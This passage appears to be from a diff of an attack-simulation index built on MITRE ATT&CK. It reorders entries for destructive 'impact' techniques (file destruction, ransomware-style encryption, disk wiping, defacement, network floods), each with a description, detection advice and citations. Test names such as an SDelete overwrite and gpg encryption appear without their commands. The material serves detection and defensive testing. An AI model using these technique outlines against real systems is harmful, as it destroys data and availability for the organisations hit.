-        url: https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
-        source_name: Unit 42 Shamoon3 2018
-      - source_name: Talos Olympic Destroyer 2018
-        url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
-        description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
-          Takes Aim At Winter Olympics. Retrieved March 14, 2019.
-      - source_name: Data Destruction - Threat Post
-        url: https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/
-        description: Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code
-          Spaces Out of Business. Retrieved December 15, 2020.
-      - source_name: DOJ  - Cisco Insider
-        url: https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network
-        description: DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging
-          Cisco’s Network. Retrieved December 15, 2020.
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      modified: '2021-03-25T14:47:48.728Z'
       name: Data Destruction
-      description: |-
-        Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.
-
-        Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
-
-        To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).
-
-        In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ  - Cisco Insider)
-      id: attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c
-      x_mitre_impact_type:
-      - Availability
-      x_mitre_detection: |-
-        Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under <code>C:\Windows\System32\</code>.
-
-        In cloud environments, the occurrence of anomalous high-volume deletion events, such as the <code>DeleteDBCluster</code> and <code>DeleteGlobalCluster</code> events in AWS, or a high quantity of data deletion events, such as <code>DeleteBucket</code>, within a short period of time may indicate suspicious activity.
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
@@ -52951,6 +54418,10 @@ impact:
       - 'Cloud Storage: Cloud Storage Deletion'
       - 'Volume: Volume Deletion'
       x_mitre_version: '1.1'
+      created: '2019-03-14T18:47:17.701Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: impact
       x_mitre_permissions_required:
       - User
       - Administrator
@@ -52962,6 +54433,17 @@ impact:
       - Linux
       - macOS
       x_mitre_is_subtechnique: false
+      id: attack-pattern--d45a3d09-b3cf-48f4-9f0f-f521ee5cb05c
+      description: |-
+        Adversaries may destroy data and files on specific systems or in large numbers on a network to interrupt availability to systems, services, and network resources. Data destruction is likely to render stored data irrecoverable by forensic techniques through overwriting files or data on local and remote drives.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018)(Citation: Talos Olympic Destroyer 2018) Common operating system file deletion commands such as <code>del</code> and <code>rm</code> often only remove pointers to files without wiping the contents of the files themselves, making the files recoverable by proper forensic methodology. This behavior is distinct from [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) and [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) because individual files are destroyed rather than sections of a storage disk or the disk's logical structure.
+
+        Adversaries may attempt to overwrite files and directories with randomly generated data to make it irrecoverable.(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) In some cases politically oriented image files have been used to overwrite data.(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)
+
+        To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware designed for destroying data may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Talos Olympic Destroyer 2018).
+
+        In cloud environments, adversaries may leverage access to delete cloud storage, cloud storage accounts, machine images, and other infrastructure crucial to operations to damage an organization or their customers.(Citation: Data Destruction - Threat Post)(Citation: DOJ  - Cisco Insider)
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
       x_mitre_contributors:
       - Brent Murphy, Elastic
       - David French, Elastic
@@ -52969,6 +54451,49 @@ impact:
       - Prasad Somasamudram, McAfee
       - 'Sekhar Sarukkai, McAfee '
       - Varonis Threat Labs
+      x_mitre_impact_type:
+      - Availability
+      x_mitre_detection: |-
+        Use process monitoring to monitor the execution and command-line parameters of binaries that could be involved in data destruction activity, such as [SDelete](https://attack.mitre.org/software/S0195). Monitor for the creation of suspicious files as well as high unusual file modification activity. In particular, look for large quantities of file modifications in user directories and under <code>C:\Windows\System32\</code>.
+
+        In cloud environments, the occurrence of anomalous high-volume deletion events, such as the <code>DeleteDBCluster</code> and <code>DeleteGlobalCluster</code> events in AWS, or a high quantity of data deletion events, such as <code>DeleteBucket</code>, within a short period of time may indicate suspicious activity.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1485
+        external_id: T1485
+        source_name: mitre-attack
+      - source_name: Symantec Shamoon 2012
+        description: Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March
+          14, 2019.
+        url: https://www.symantec.com/connect/blogs/shamoon-attacks
+      - source_name: FireEye Shamoon Nov 2016
+        description: FireEye. (2016, November 30). FireEye Responds to Wave of Destructive
+          Cyber Attacks in Gulf Region. Retrieved January 11, 2017.
+        url: https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html
+      - source_name: Palo Alto Shamoon Nov 2016
+        description: 'Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack
+          Wiper. Retrieved January 11, 2017.'
+        url: http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
+      - url: https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
+        description: 'Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill:
+          Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.'
+        source_name: Kaspersky StoneDrill 2017
+      - source_name: Unit 42 Shamoon3 2018
+        description: Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas
+          Organization. Retrieved March 14, 2019.
+        url: https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
+      - url: https://blog.talosintelligence.com/2018/02/olympic-destroyer.html
+        description: Mercer, W. and Rascagneres, P. (2018, February 12). Olympic Destroyer
+          Takes Aim At Winter Olympics. Retrieved March 14, 2019.
+        source_name: Talos Olympic Destroyer 2018
+      - url: https://threatpost.com/hacker-puts-hosting-service-code-spaces-out-of-business/106761/
+        description: Mimoso, M.. (2014, June 18). Hacker Puts Hosting Service Code
+          Spaces Out of Business. Retrieved December 15, 2020.
+        source_name: Data Destruction - Threat Post
+      - url: https://www.justice.gov/usao-ndca/pr/san-jose-man-pleads-guilty-damaging-cisco-s-network
+        description: DOJ. (2020, August 26). San Jose Man Pleads Guilty To Damaging
+          Cisco’s Network. Retrieved December 15, 2020.
+        source_name: DOJ  - Cisco Insider
       identifier: T1485
     atomic_tests:
     - name: Windows - Overwrite file with Sysinternals SDelete
@@ -53042,6 +54567,32 @@ impact:
         name: command_prompt
   T1486:
     technique:
+      type: attack-pattern
+      modified: '2021-08-16T21:07:27.119Z'
+      name: Data Encrypted for Impact
+      x_mitre_data_sources:
+      - 'Cloud Storage: Cloud Storage Metadata'
+      - 'Cloud Storage: Cloud Storage Modification'
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'File: File Modification'
+      - 'File: File Creation'
+      x_mitre_version: '1.2'
+      created: '2019-03-15T13:59:30.390Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: impact
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - root
+      - SYSTEM
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      - IaaS
+      x_mitre_is_subtechnique: false
       id: attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0
       description: |-
         Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018) In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted. In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017)
@@ -53049,43 +54600,10 @@ impact:
         To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)
 
         In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1)
-      name: Data Encrypted for Impact
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1486
-        url: https://attack.mitre.org/techniques/T1486
-      - source_name: US-CERT Ransomware 2016
-        url: https://www.us-cert.gov/ncas/alerts/TA16-091A
-        description: 'US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and
-          Recent Variants. Retrieved March 15, 2019.'
-      - source_name: FireEye WannaCry 2017
-        url: https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html
-        description: Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry
-          Malware Profile. Retrieved March 15, 2019.
-      - source_name: US-CERT NotPetya 2017
-        url: https://www.us-cert.gov/ncas/alerts/TA17-181A
-        description: 'US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware.
-          Retrieved March 15, 2019.'
-      - source_name: US-CERT SamSam 2018
-        url: https://www.us-cert.gov/ncas/alerts/AA18-337A
-        description: 'US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware.
-          Retrieved March 15, 2019.'
-      - source_name: Rhino S3 Ransomware Part 1
-        url: https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/
-        description: 'Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved
-          April 14, 2021.'
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: impact
-      modified: '2021-04-20T16:39:06.594Z'
-      created: '2019-03-15T13:59:30.390Z'
       x_mitre_contributors:
       - Oleg Kolesnikov, Securonix
-      x_mitre_is_subtechnique: false
       x_mitre_impact_type:
       - Availability
       x_mitre_detection: |-
@@ -53094,24 +54612,31 @@ impact:
         In some cases, monitoring for unusual kernel driver installation activity can aid in detection.
 
         In cloud environments, monitor for events that indicate storage objects have been anomalously replaced by copies.
-      x_mitre_data_sources:
-      - 'Cloud Storage: Cloud Storage Metadata'
-      - 'Cloud Storage: Cloud Storage Modification'
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'File: File Modification'
-      - 'File: File Creation'
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-      - IaaS
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - root
-      - SYSTEM
-      x_mitre_version: '1.1'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1486
+        external_id: T1486
+        source_name: mitre-attack
+      - url: https://www.us-cert.gov/ncas/alerts/TA16-091A
+        description: 'US-CERT. (2016, March 31). Alert (TA16-091A): Ransomware and
+          Recent Variants. Retrieved March 15, 2019.'
+        source_name: US-CERT Ransomware 2016
+      - url: https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html
+        description: Berry, A., Homan, J., and Eitzman, R. (2017, May 23). WannaCry
+          Malware Profile. Retrieved March 15, 2019.
+        source_name: FireEye WannaCry 2017
+      - url: https://www.us-cert.gov/ncas/alerts/TA17-181A
+        description: 'US-CERT. (2017, July 1). Alert (TA17-181A): Petya Ransomware.
+          Retrieved March 15, 2019.'
+        source_name: US-CERT NotPetya 2017
+      - url: https://www.us-cert.gov/ncas/alerts/AA18-337A
+        description: 'US-CERT. (2018, December 3). Alert (AA18-337A): SamSam Ransomware.
+          Retrieved March 15, 2019.'
+        source_name: US-CERT SamSam 2018
+      - url: https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/
+        description: 'Gietzen, S. (n.d.). S3 Ransomware Part 1: Attack Vector. Retrieved
+          April 14, 2021.'
+        source_name: Rhino S3 Ransomware Part 1
       identifier: T1486
     atomic_tests:
     - name: Encrypt files using gpg (Linux)
@@ -53309,38 +54834,10 @@ impact:
 '
   T1565:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1565
-        url: https://attack.mitre.org/techniques/T1565
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      name: Data Manipulation
-      description: |-
-        Adversaries may insert, delete, or manipulate data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
-
-        The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
-      id: attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931
       type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: impact
-      modified: '2021-04-24T14:04:16.371Z'
-      created: '2020-03-02T14:19:22.609Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - root
-      - SYSTEM
-      x_mitre_impact_type:
-      - Integrity
-      x_mitre_detection: Where applicable, inspect important file hashes, locations,
-        and modifications for suspicious/unexpected values. With some critical processes
-        involving transmission of data, manual or out-of-band integrity checking may
-        be useful for identifying manipulated data.
+      name: Data Manipulation
       x_mitre_data_sources:
       - 'File: File Metadata'
       - 'Process: OS API Execution'
@@ -53349,41 +54846,69 @@ impact:
       - 'File: File Modification'
       - 'Network Traffic: Network Traffic Content'
       - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.0'
+      modified: '2021-04-24T14:04:16.371Z'
+      created: '2020-03-02T14:19:22.609Z'
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - root
+      - SYSTEM
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--ac9e6b22-11bf-45d7-9181-c1cb08360931
+      description: |-
+        Adversaries may insert, delete, or manipulate data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.
+
+        The type of modification and the impact it will have depends on the target application and process as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: impact
+      x_mitre_impact_type:
+      - Integrity
+      x_mitre_detection: Where applicable, inspect important file hashes, locations,
+        and modifications for suspicious/unexpected values. With some critical processes
+        involving transmission of data, manual or out-of-band integrity checking may
+        be useful for identifying manipulated data.
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1565
+        external_id: T1565
+        source_name: mitre-attack
     atomic_tests: []
   T1491:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1491
-        url: https://attack.mitre.org/techniques/T1491
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Defacement
+      x_mitre_data_sources:
+      - 'File: File Modification'
+      - 'File: File Creation'
+      - 'Application Log: Application Log Content'
+      - 'Network Traffic: Network Traffic Content'
+      x_mitre_version: '1.2'
+      modified: '2021-03-08T10:33:01.150Z'
+      created: '2019-04-08T17:51:41.390Z'
+      x_mitre_platforms:
+      - Windows
+      - IaaS
+      - Linux
+      - macOS
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b
       description: "Adversaries may modify visual content available internally or
         externally to an enterprise network. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491)
         include delivering messaging, intimidation, or claiming (possibly false) credit
         for an intrusion. Disturbing or offensive images may be used as a part of
         [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause
         user discomfort, or to pressure compliance with accompanying messages. \n"
-      id: attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: impact
-      modified: '2021-03-08T10:33:01.150Z'
-      created: '2019-04-08T17:51:41.390Z'
-      x_mitre_is_subtechnique: false
-      x_mitre_version: '1.2'
-      x_mitre_platforms:
-      - Windows
-      - IaaS
-      - Linux
-      - macOS
       x_mitre_impact_type:
       - Integrity
       x_mitre_detection: "Monitor internal and external websites for unplanned content
@@ -53391,50 +54916,44 @@ impact:
         attempted or successful exploitation. Use deep packet inspection to look for
         artifacts of common exploit traffic, such as SQL injection. Web Application
         Firewalls may detect improper inputs attempting exploitation.\n\n"
-      x_mitre_data_sources:
-      - 'File: File Modification'
-      - 'File: File Creation'
-      - 'Application Log: Application Log Content'
-      - 'Network Traffic: Network Traffic Content'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1491
+        external_id: T1491
+        source_name: mitre-attack
     atomic_tests: []
   T1498.001:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1498.001
-        url: https://attack.mitre.org/techniques/T1498/001
-      - external_id: CAPEC-125
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/125.html
-      - external_id: CAPEC-486
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/486.html
-      - source_name: USNYAG IranianBotnet March 2016
-        url: https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged
-        description: Preet Bharara, US Attorney. (2016, March 24). Retrieved April
-          23, 2019.
-      - source_name: Cisco DoSdetectNetflow
-        url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
-        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
-          Retrieved April 25, 2019.
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Direct Network Flood
+      x_mitre_data_sources:
+      - 'Sensor Health: Host Status'
+      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_version: '1.2'
+      modified: '2021-03-29T16:11:56.727Z'
+      created: '2020-03-02T20:07:18.651Z'
+      x_mitre_platforms:
+      - Windows
+      - Azure AD
+      - Office 365
+      - SaaS
+      - IaaS
+      - Linux
+      - macOS
+      - Google Workspace
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3
       description: |-
         Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001) are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.
 
         Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)
-      id: attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: impact
-      modified: '2021-03-29T16:11:56.727Z'
-      created: '2020-03-02T20:07:18.651Z'
-      x_mitre_data_sources:
-      - 'Sensor Health: Host Status'
-      - 'Network Traffic: Network Traffic Flow'
+      x_mitre_impact_type:
+      - Availability
       x_mitre_detection: 'Detection of a network flood can sometimes be achieved before
         the traffic volume is sufficient to cause impact to the availability of the
         service, but such response time typically requires very aggressive monitoring
@@ -53447,28 +54966,49 @@ impact:
         time may be small and the indicator of an event availability of the network
         or service drops. The analysis tools mentioned can then be used to determine
         the type of DoS causing the outage and help with remediation.'
-      x_mitre_version: '1.2'
-      x_mitre_is_subtechnique: true
-      x_mitre_impact_type:
-      - Availability
-      x_mitre_platforms:
-      - Windows
-      - Azure AD
-      - Office 365
-      - SaaS
-      - IaaS
-      - Linux
-      - macOS
-      - Google Workspace
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1498/001
+        external_id: T1498.001
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/125.html
+        external_id: CAPEC-125
+        source_name: capec
+      - url: https://capec.mitre.org/data/definitions/486.html
+        external_id: CAPEC-486
+        source_name: capec
+      - url: https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged
+        description: Preet Bharara, US Attorney. (2016, March 24). Retrieved April
+          23, 2019.
+        source_name: USNYAG IranianBotnet March 2016
+      - url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
+        description: Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow.
+          Retrieved April 25, 2019.
+        source_name: Cisco DoSdetectNetflow
     atomic_tests: []
   T1561.001:
     technique:
-      created: '2020-02-20T22:06:41.739Z'
-      modified: '2020-03-28T22:53:20.162Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: impact
       type: attack-pattern
+      modified: '2020-03-28T22:53:20.162Z'
+      name: Disk Content Wipe
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Driver: Driver Load'
+      - 'Drive: Drive Access'
+      - 'Drive: Drive Modification'
+      x_mitre_version: '1.0'
+      created: '2020-02-20T22:06:41.739Z'
+      x_mitre_permissions_required:
+      - SYSTEM
+      - root
+      - Administrator
+      - User
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
       id: attack-pattern--fb640c43-aa6b-431e-a961-a279010424ac
       description: |-
         Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.
@@ -53476,90 +55016,67 @@ impact:
         Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.
 
         To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)
-      name: Disk Content Wipe
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: impact
+      x_mitre_impact_type:
+      - Availability
+      x_mitre_detection: 'Look for attempts to read/write to sensitive locations like
+        the partition boot sector or BIOS parameter block/superblock. Monitor for
+        direct access read/write attempts using the <code>\\\\.\\</code> notation.(Citation:
+        Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation
+        activity.'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       external_references:
-      - source_name: mitre-attack
+      - url: https://attack.mitre.org/techniques/T1561/001
         external_id: T1561.001
-        url: https://attack.mitre.org/techniques/T1561/001
-      - source_name: Novetta Blockbuster
+        source_name: mitre-attack
+      - url: https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
         description: 'Novetta Threat Research Group. (2016, February 24). Operation
           Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February
           25, 2016.'
-        url: https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf
-      - source_name: Novetta Blockbuster Destructive Malware
+        source_name: Novetta Blockbuster
+      - url: https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
         description: 'Novetta Threat Research Group. (2016, February 24). Operation
           Blockbuster: Destructive Malware Report. Retrieved March 2, 2016.'
-        url: https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
-      - source_name: DOJ Lazarus Sony 2018
-        url: https://www.justice.gov/opa/press-release/file/1092091/download
+        source_name: Novetta Blockbuster Destructive Malware
+      - url: https://www.justice.gov/opa/press-release/file/1092091/download
         description: Department of Justice. (2018, September 6). Criminal Complaint
           - United States of America v. PARK JIN HYOK. Retrieved March 29, 2019.
-      - url: https://docs.microsoft.com/sysinternals/downloads/sysmon
+        source_name: DOJ Lazarus Sony 2018
+      - source_name: Microsoft Sysmon v6 May 2017
         description: Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved
           December 13, 2017.
-        source_name: Microsoft Sysmon v6 May 2017
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
+        url: https://docs.microsoft.com/sysinternals/downloads/sysmon
+    atomic_tests: []
+  T1561.002:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Disk Structure Wipe
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
       - 'Driver: Driver Load'
       - 'Drive: Drive Access'
       - 'Drive: Drive Modification'
-      x_mitre_detection: 'Look for attempts to read/write to sensitive locations like
-        the partition boot sector or BIOS parameter block/superblock. Monitor for
